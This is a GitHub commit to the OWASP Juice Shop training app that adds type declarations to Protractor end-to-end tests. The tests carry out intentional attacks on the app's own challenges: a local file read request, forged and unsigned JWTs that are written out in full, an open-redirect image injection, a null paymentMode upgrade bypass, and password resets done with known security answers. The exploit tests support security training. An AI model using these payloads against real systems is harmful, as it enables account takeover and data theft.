Skip to content

Commit

Permalink
Add type declarations to e2e tests
Browse files Browse the repository at this point in the history
  • Loading branch information
@bkimminich
bkimminich committed Jan 4, 2022
1 parent 0a067bd commit fcf8c10
Show file tree
Hide file tree
Showing 7 changed files with 138 additions and 130 deletions.
10 changes: 6 additions & 4 deletions test/e2e/dataErasureSpec.ts
View file
Original file line number Diff line number Diff line change
Expand Up @@ -3,15 +3,17 @@
* SPDX-License-Identifier: MIT
*/

import { browser, protractor } from 'protractor'

const config = require('config')

describe('/dataerasure', () => {
protractor.beforeEach.login({ email: `admin@${config.get('application.domain')}`, password: 'admin123' })

describe('challenge "lfr"', () => {
it('should be possible to perform local file read attack using the browser', () => {
browser.waitForAngularEnabled(false)
browser.executeScript(baseUrl => {
void browser.waitForAngularEnabled(false)
void browser.executeScript(baseUrl => {
const xhttp = new XMLHttpRequest()
xhttp.onreadystatechange = function () {
if (this.status === 200) {
Expand All @@ -27,8 +29,8 @@ describe('/dataerasure', () => {
xhttp.send(params) //eslint-disable-line
}, browser.baseUrl)

browser.driver.sleep(10000)
browser.waitForAngularEnabled(true)
void browser.driver.sleep(10000)
void browser.waitForAngularEnabled(true)
})
protractor.expect.challengeSolved({ challenge: 'Local File Read' })
})
Expand Down
23 changes: 12 additions & 11 deletions test/e2e/dataExportSpec.ts
View file
Original file line number Diff line number Diff line change
Expand Up @@ -4,26 +4,27 @@
*/

import config = require('config')
import { browser, by, element, protractor } from 'protractor'

describe('/#/privacy-security/data-export', () => {
xdescribe('challenge "dataExportChallenge"', () => {
beforeEach(() => {
browser.get(`${protractor.basePath}/#/register`)
element(by.id('emailControl')).sendKeys(`admun@${config.get('application.domain')}`)
element(by.id('passwordControl')).sendKeys('admun123')
element(by.id('repeatPasswordControl')).sendKeys('admun123')
element(by.name('securityQuestion')).click()
element.all(by.cssContainingText('mat-option', 'Your eldest siblings middle name?')).click()
element(by.id('securityAnswerControl')).sendKeys('admun')
element(by.id('registerButton')).click()
void browser.get(`${protractor.basePath}/#/register`)
void element(by.id('emailControl')).sendKeys(`admun@${config.get('application.domain')}`)
void element(by.id('passwordControl')).sendKeys('admun123')
void element(by.id('repeatPasswordControl')).sendKeys('admun123')
void element(by.name('securityQuestion')).click()
void element.all(by.cssContainingText('mat-option', 'Your eldest siblings middle name?')).click()
void element(by.id('securityAnswerControl')).sendKeys('admun')
void element(by.id('registerButton')).click()
})

protractor.beforeEach.login({ email: `admun@${config.get('application.domain')}`, password: 'admun123' })

it('should be possible to steal admin user data by causing email clash during export', () => {
browser.get(`${protractor.basePath}/#/privacy-security/data-export`)
element(by.id('formatControl')).all(by.tagName('mat-radio-button')).get(0).click()
element(by.id('submitButton')).click()
void browser.get(`${protractor.basePath}/#/privacy-security/data-export`)
void element(by.id('formatControl')).all(by.tagName('mat-radio-button')).get(0).click()
void element(by.id('submitButton')).click()
})

protractor.expect.challengeSolved({ challenge: 'GDPR Data Theft' })
Expand Down
7 changes: 4 additions & 3 deletions test/e2e/deluxeSpec.ts
View file
Original file line number Diff line number Diff line change
Expand Up @@ -4,14 +4,15 @@
*/

import request = require('request')
import { browser, protractor } from 'protractor'
const config = require('config')

describe('/#/deluxe-membership', () => {
describe('challenge "svgInjection"', () => {
protractor.beforeEach.login({ email: `jim@${config.get('application.domain')}`, password: 'ncc-1701' })

it('should be possible to pass in a forgotten test parameter abusing the redirect-endpoint to load an external image', () => {
browser.get(`${protractor.basePath}/#/deluxe-membership?testDecal=${encodeURIComponent(`../../..${protractor.basePath}/redirect?to=https://placekitten.com/g/200/100?x=https://github.com/bkimminich/juice-shop`)}`)
void browser.get(`${protractor.basePath}/#/deluxe-membership?testDecal=${encodeURIComponent(`../../..${protractor.basePath}/redirect?to=https://placekitten.com/g/200/100?x=https://github.com/bkimminich/juice-shop`)}`)
})

protractor.expect.challengeSolved({ challenge: 'Cross-Site Imaging' })
Expand All @@ -21,8 +22,8 @@ describe('/#/deluxe-membership', () => {
protractor.beforeEach.login({ email: `jim@${config.get('application.domain')}`, password: 'ncc-1701' })

it('should upgrade to deluxe for free by making a post request to /rest/deluxe-membership by setting the paymentMode parameter to null', () => {
browser.get(`${protractor.basePath}/#/`)
browser.manage().getCookie('token').then((token) => {
void browser.get(`${protractor.basePath}/#/`)
void browser.manage().getCookie('token').then((token) => {
request.post(`${browser.baseUrl}/rest/deluxe-membership`, {
headers: { Authorization: `Bearer ${token.value}` }
}, (err, response, body) => {
Expand Down
9 changes: 5 additions & 4 deletions test/e2e/forgedJwtSpec.ts
View file
Original file line number Diff line number Diff line change
Expand Up @@ -3,12 +3,13 @@
* SPDX-License-Identifier: MIT
*/
import utils = require('../../lib/utils')
import { browser, protractor } from 'protractor'

describe('/', () => {
describe('challenge "jwtUnsigned"', () => {
it('should accept an unsigned token with email jwtn3d@juice-sh.op in the payload ', () => {
browser.executeScript('localStorage.setItem("token", "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJkYXRhIjp7ImVtYWlsIjoiand0bjNkQGp1aWNlLXNoLm9wIn0sImlhdCI6MTUwODYzOTYxMiwiZXhwIjo5OTk5OTk5OTk5fQ.")')
browser.get(`${protractor.basePath}/#/`)
void browser.executeScript('localStorage.setItem("token", "eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJkYXRhIjp7ImVtYWlsIjoiand0bjNkQGp1aWNlLXNoLm9wIn0sImlhdCI6MTUwODYzOTYxMiwiZXhwIjo5OTk5OTk5OTk5fQ.")')
void browser.get(`${protractor.basePath}/#/`)
})

protractor.expect.challengeSolved({ challenge: 'Unsigned JWT' })
Expand All @@ -17,8 +18,8 @@ describe('/', () => {
if (!utils.disableOnWindowsEnv()) {
describe('challenge "jwtForged"', () => {
it('should accept a token HMAC-signed with public RSA key with email rsa_lord@juice-sh.op in the payload ', () => {
browser.executeScript('localStorage.setItem("token", "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7ImVtYWlsIjoicnNhX2xvcmRAanVpY2Utc2gub3AifSwiaWF0IjoxNTgzMDM3NzExfQ.gShXDT5TrE5736mpIbfVDEcQbLfteJaQUG7Z0PH8Xc8")')
browser.get(`${protractor.basePath}/#/`)
void browser.executeScript('localStorage.setItem("token", "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjp7ImVtYWlsIjoicnNhX2xvcmRAanVpY2Utc2gub3AifSwiaWF0IjoxNTgzMDM3NzExfQ.gShXDT5TrE5736mpIbfVDEcQbLfteJaQUG7Z0PH8Xc8")')
void browser.get(`${protractor.basePath}/#/`)
})

protractor.expect.challengeSolved({ challenge: 'Forged Signed JWT' })
Expand Down
84 changes: 42 additions & 42 deletions test/e2e/forgotPasswordSpec.ts
View file
Original file line number Diff line number Diff line change
Expand Up @@ -4,21 +4,21 @@
*/

import config = require('config')
import { by, element, protractor } from 'protractor'
import { $, browser, by, element, ElementFinder, protractor } from 'protractor'

describe('/#/forgot-password', () => {
let email, securityAnswer, newPassword, newPasswordRepeat, resetButton
let email: ElementFinder, securityAnswer: ElementFinder, newPassword: ElementFinder, newPasswordRepeat: ElementFinder, resetButton: ElementFinder

const EC = protractor.ExpectedConditions

beforeEach(() => {
$('#logout').isPresent().then((result) => {
void $('#logout').isPresent().then((result) => {
if (result) {
$('#logout').click()
void $('#logout').click()
}
})
browser.wait(EC.stalenessOf($('#logout')), 5000)
browser.get(`${protractor.basePath}/#/forgot-password`)
void browser.wait(EC.stalenessOf($('#logout')), 5000)
void browser.get(`${protractor.basePath}/#/forgot-password`)
email = element(by.id('email'))
securityAnswer = element(by.id('securityAnswer'))
newPassword = element(by.id('newPassword'))
Expand All @@ -28,12 +28,12 @@ describe('/#/forgot-password', () => {

describe('as Jim', () => {
it('should be able to reset password with his security answer', () => {
email.sendKeys(`jim@${config.get('application.domain')}`)
browser.wait(EC.elementToBeClickable(securityAnswer), 2000, 'Security answer field did not become visible')
securityAnswer.sendKeys('Samuel')
newPassword.sendKeys('I <3 Spock')
newPasswordRepeat.sendKeys('I <3 Spock')
resetButton.click()
void email.sendKeys(`jim@${config.get('application.domain')}`)
void browser.wait(EC.elementToBeClickable(securityAnswer), 2000, 'Security answer field did not become visible')
void securityAnswer.sendKeys('Samuel')
void newPassword.sendKeys('I <3 Spock')
void newPasswordRepeat.sendKeys('I <3 Spock')
void resetButton.click()

expect($('.confirmation').getAttribute('hidden')).not.toBeTruthy()
})
Expand All @@ -43,12 +43,12 @@ describe('/#/forgot-password', () => {

describe('as Bender', () => {
it('should be able to reset password with his security answer', () => {
email.sendKeys(`bender@${config.get('application.domain')}`)
browser.wait(EC.elementToBeClickable(securityAnswer), 2000, 'Security answer field did not become visible')
securityAnswer.sendKeys('Stop\'n\'Drop')
newPassword.sendKeys('Brannigan 8=o Leela')
newPasswordRepeat.sendKeys('Brannigan 8=o Leela')
resetButton.click()
void email.sendKeys(`bender@${config.get('application.domain')}`)
void browser.wait(EC.elementToBeClickable(securityAnswer), 2000, 'Security answer field did not become visible')
void securityAnswer.sendKeys('Stop\'n\'Drop')
void newPassword.sendKeys('Brannigan 8=o Leela')
void newPasswordRepeat.sendKeys('Brannigan 8=o Leela')
void resetButton.click()

expect($('.confirmation').getAttribute('hidden')).not.toBeTruthy()
})
Expand All @@ -59,12 +59,12 @@ describe('/#/forgot-password', () => {
describe('as Bjoern', () => {
describe('for his internal account', () => {
it('should be able to reset password with his security answer', () => {
email.sendKeys(`bjoern@${config.get('application.domain')}`)
browser.wait(EC.elementToBeClickable(securityAnswer), 2000, 'Security answer field did not become visible')
securityAnswer.sendKeys('West-2082')
newPassword.sendKeys('monkey birthday ')
newPasswordRepeat.sendKeys('monkey birthday ')
resetButton.click()
void email.sendKeys(`bjoern@${config.get('application.domain')}`)
void browser.wait(EC.elementToBeClickable(securityAnswer), 2000, 'Security answer field did not become visible')
void securityAnswer.sendKeys('West-2082')
void newPassword.sendKeys('monkey birthday ')
void newPasswordRepeat.sendKeys('monkey birthday ')
void resetButton.click()

expect($('.confirmation').getAttribute('hidden')).not.toBeTruthy()
})
Expand All @@ -74,12 +74,12 @@ describe('/#/forgot-password', () => {

describe('for his OWASP account', () => {
it('should be able to reset password with his security answer', () => {
email.sendKeys('bjoern@owasp.org')
browser.wait(EC.elementToBeClickable(securityAnswer), 2000, 'Security answer field did not become visible')
securityAnswer.sendKeys('Zaya')
newPassword.sendKeys('kitten lesser pooch')
newPasswordRepeat.sendKeys('kitten lesser pooch')
resetButton.click()
void email.sendKeys('bjoern@owasp.org')
void browser.wait(EC.elementToBeClickable(securityAnswer), 2000, 'Security answer field did not become visible')
void securityAnswer.sendKeys('Zaya')
void newPassword.sendKeys('kitten lesser pooch')
void newPasswordRepeat.sendKeys('kitten lesser pooch')
void resetButton.click()

expect($('.confirmation').getAttribute('hidden')).not.toBeTruthy()
})
Expand All @@ -90,12 +90,12 @@ describe('/#/forgot-password', () => {

describe('as Morty', () => {
it('should be able to reset password with his security answer', () => {
email.sendKeys(`morty@${config.get('application.domain')}`)
browser.wait(EC.elementToBeClickable(securityAnswer), 2000, 'Security answer field did not become visible')
securityAnswer.sendKeys('5N0wb41L')
newPassword.sendKeys('iBurri3dMySe1f!')
newPasswordRepeat.sendKeys('iBurri3dMySe1f!')
resetButton.click()
void email.sendKeys(`morty@${config.get('application.domain')}`)
void browser.wait(EC.elementToBeClickable(securityAnswer), 2000, 'Security answer field did not become visible')
void securityAnswer.sendKeys('5N0wb41L')
void newPassword.sendKeys('iBurri3dMySe1f!')
void newPasswordRepeat.sendKeys('iBurri3dMySe1f!')
void resetButton.click()

expect($('.confirmation').getAttribute('hidden')).not.toBeTruthy()
})
Expand All @@ -105,12 +105,12 @@ describe('/#/forgot-password', () => {

describe('as Uvogin', () => {
it('should be able to reset password with his security answer', () => {
email.sendKeys(`uvogin@${config.get('application.domain')}`)
browser.wait(EC.elementToBeClickable(securityAnswer), 2000, 'Security answer field did not become visible')
securityAnswer.sendKeys('Silence of the Lambs')
newPassword.sendKeys('ora-ora > muda-muda')
newPasswordRepeat.sendKeys('ora-ora > muda-muda')
resetButton.click()
void email.sendKeys(`uvogin@${config.get('application.domain')}`)
void browser.wait(EC.elementToBeClickable(securityAnswer), 2000, 'Security answer field did not become visible')
void securityAnswer.sendKeys('Silence of the Lambs')
void newPassword.sendKeys('ora-ora > muda-muda')
void newPasswordRepeat.sendKeys('ora-ora > muda-muda')
void resetButton.click()

expect($('.confirmation').getAttribute('hidden')).not.toBeTruthy()
})
Expand Down
35 changes: 18 additions & 17 deletions test/e2e/geoStalkingSpec.ts
View file
Original file line number Diff line number Diff line change
Expand Up @@ -4,9 +4,10 @@
*/

import config = require('config')
import { $, browser, by, element, ElementFinder, protractor } from 'protractor'

describe('/#/photo-wall', () => {
let email, securityAnswer, newPassword, newPasswordRepeat, resetButton
let email: ElementFinder, securityAnswer: ElementFinder, newPassword: ElementFinder, newPasswordRepeat: ElementFinder, resetButton: ElementFinder

const EC = protractor.ExpectedConditions

Expand All @@ -16,8 +17,8 @@ describe('/#/photo-wall', () => {
$('#logout').click()
}
})
browser.wait(EC.stalenessOf($('#logout')), 5000)
browser.get(`${protractor.basePath}/#/forgot-password`)
void browser.wait(EC.stalenessOf($('#logout')), 5000)
void browser.get(`${protractor.basePath}/#/forgot-password`)
email = element(by.id('email'))
securityAnswer = element(by.id('securityAnswer'))
newPassword = element(by.id('newPassword'))
Expand All @@ -28,20 +29,20 @@ describe('/#/photo-wall', () => {
describe('challenge "geoStalkingMeta"', () => {
it('Should be possible to find the answer to a security question in the meta-data of a photo on the photo wall', () => {
const answer = ((() => {
const memories = config.get('memories')
const memories: any = config.get('memories')
for (let i = 0; i < memories.length; i++) {
if (memories[i].geoStalkingMetaSecurityAnswer) {
return memories[i].geoStalkingMetaSecurityAnswer
}
}
})())

email.sendKeys(`john@${config.get('application.domain')}`)
browser.wait(EC.elementToBeClickable(securityAnswer), 2000, 'Security answer field did not become visible')
securityAnswer.sendKeys(answer)
newPassword.sendKeys('123456')
newPasswordRepeat.sendKeys('123456')
resetButton.click()
void email.sendKeys(`john@${config.get('application.domain')}`)
void browser.wait(EC.elementToBeClickable(securityAnswer), 2000, 'Security answer field did not become visible')
void securityAnswer.sendKeys(answer)
void newPassword.sendKeys('123456')
void newPasswordRepeat.sendKeys('123456')
void resetButton.click()
})

protractor.expect.challengeSolved({ challenge: 'Meta Geo Stalking' })
Expand All @@ -50,20 +51,20 @@ describe('/#/photo-wall', () => {
describe('challenge "geoStalkingVisual"', () => {
it('Should be possible to determine the answer to a security question by looking closely at an image on the photo wall', () => {
const answer = ((() => {
const memories = config.get('memories')
const memories: any = config.get('memories')
for (let i = 0; i < memories.length; i++) {
if (memories[i].geoStalkingVisualSecurityAnswer) {
return memories[i].geoStalkingVisualSecurityAnswer
}
}
})())

email.sendKeys(`emma@${config.get('application.domain')}`)
browser.wait(EC.elementToBeClickable(securityAnswer), 2000, 'Security answer field did not become visible')
securityAnswer.sendKeys(answer)
newPassword.sendKeys('123456')
newPasswordRepeat.sendKeys('123456')
resetButton.click()
void email.sendKeys(`emma@${config.get('application.domain')}`)
void browser.wait(EC.elementToBeClickable(securityAnswer), 2000, 'Security answer field did not become visible')
void securityAnswer.sendKeys(answer)
void newPassword.sendKeys('123456')
void newPasswordRepeat.sendKeys('123456')
void resetButton.click()
})

protractor.expect.challengeSolved({ challenge: 'Visual Geo Stalking' })
Expand Down

0 comments on commit fcf8c10

Please sign in to comment.